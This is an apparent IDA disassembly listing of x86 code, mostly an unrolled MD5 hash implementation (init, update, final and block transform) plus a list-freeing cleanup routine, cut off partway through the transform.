		cmp	[ebx+0Ch], ebp
		jz	short loc_434A6C
		cmp	[ebx+4], ebp
		jz	short loc_434A6C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A6C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_434A5F
		push	edi


loc_434A33:				; CODE XREF: sub_434A00+5Cj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A5A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_434A5A:				; CODE XREF: sub_434A00+3Ej
		cmp	esi, ebp
		jnz	short loc_434A33
		pop	edi


loc_434A5F:				; CODE XREF: sub_434A00+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_434A6C:				; CODE XREF: sub_434A00+13j
					; sub_434A00+18j ...
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 2740000h
		cmp	[ebx+4], ebp
		jz	short loc_434A86
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_402252
		add	esp, 4


loc_434A86:				; CODE XREF: sub_434A00+78j
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_434A90:				; CODE XREF: sub_434A00+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_434A00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434AD0	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_5103B4
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_434AF4
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_434B03
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434AF4:				; CODE XREF: sub_434AD0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_434B03
		mov	eax, ebx


loc_434B03:				; CODE XREF: sub_434AD0+1Aj
					; sub_434AD0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_434B65
		test	eax, eax
		jz	short loc_434B52
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_434B52
		test	ebx, ebx
		jz	short loc_434B52
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_434B3D


loc_434B27:				; CODE XREF: sub_434AD0+65j
		cmp	[ecx+8], esi
		jz	short loc_434B39
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_434B27
		jmp	short loc_434B3D
; ---------------------------------------------------------------------------


loc_434B39:				; CODE XREF: sub_434AD0+5Aj
		test	ecx, ecx
		jnz	short loc_434B52


loc_434B3D:				; CODE XREF: sub_434AD0+55j
					; sub_434AD0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DDE
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_434B65


loc_434B52:				; CODE XREF: sub_434AD0+3Cj
					; sub_434AD0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		call	near ptr 2760380h
		nop
		test	eax, eax
		jnz	short loc_434B65
		mov	edi, 0Bh


loc_434B65:				; CODE XREF: sub_434AD0+38j
					; sub_434AD0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_434AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434BA0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27C085Dh
		mov	esi, eax
		call	sub_438250
sub_434BA0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	65E89051h, 56022FC0h, 0E890D88Bh
		dd 22FC26Eh, 36CAE857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_434BF0	proc near		; CODE XREF: sub_401A69j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_434BF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434C30	proc near		; CODE XREF: sub_401C26j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_434C5B
		inc	dword ptr [esi+14h]


loc_434C5B:				; CODE XREF: sub_434C30+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_434CB9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_435A30
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_434DA0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_434CB5


loc_434C99:				; CODE XREF: sub_434C30+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_434DA0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_434C99


loc_434CB5:				; CODE XREF: sub_434C30+67j
		xor	eax, eax
		jmp	short loc_434CBB
; ---------------------------------------------------------------------------


loc_434CB9:				; CODE XREF: sub_434C30+41j
		xor	ebp, ebp


loc_434CBB:				; CODE XREF: sub_434C30+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_435A30
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_434C30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434D10	proc near		; CODE XREF: sub_402176j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_435950
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_434D43
		mov	ecx, 78h


loc_434D43:				; CODE XREF: sub_434D10+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; ""
		push	edi
		call	sub_401C26
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C26
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_435950
		push	58h
		push	0
		push	edi
		call	sub_435A60
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_434D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434DA0	proc near		; CODE XREF: sub_434C30+58p
					; sub_434C30+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4359C0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
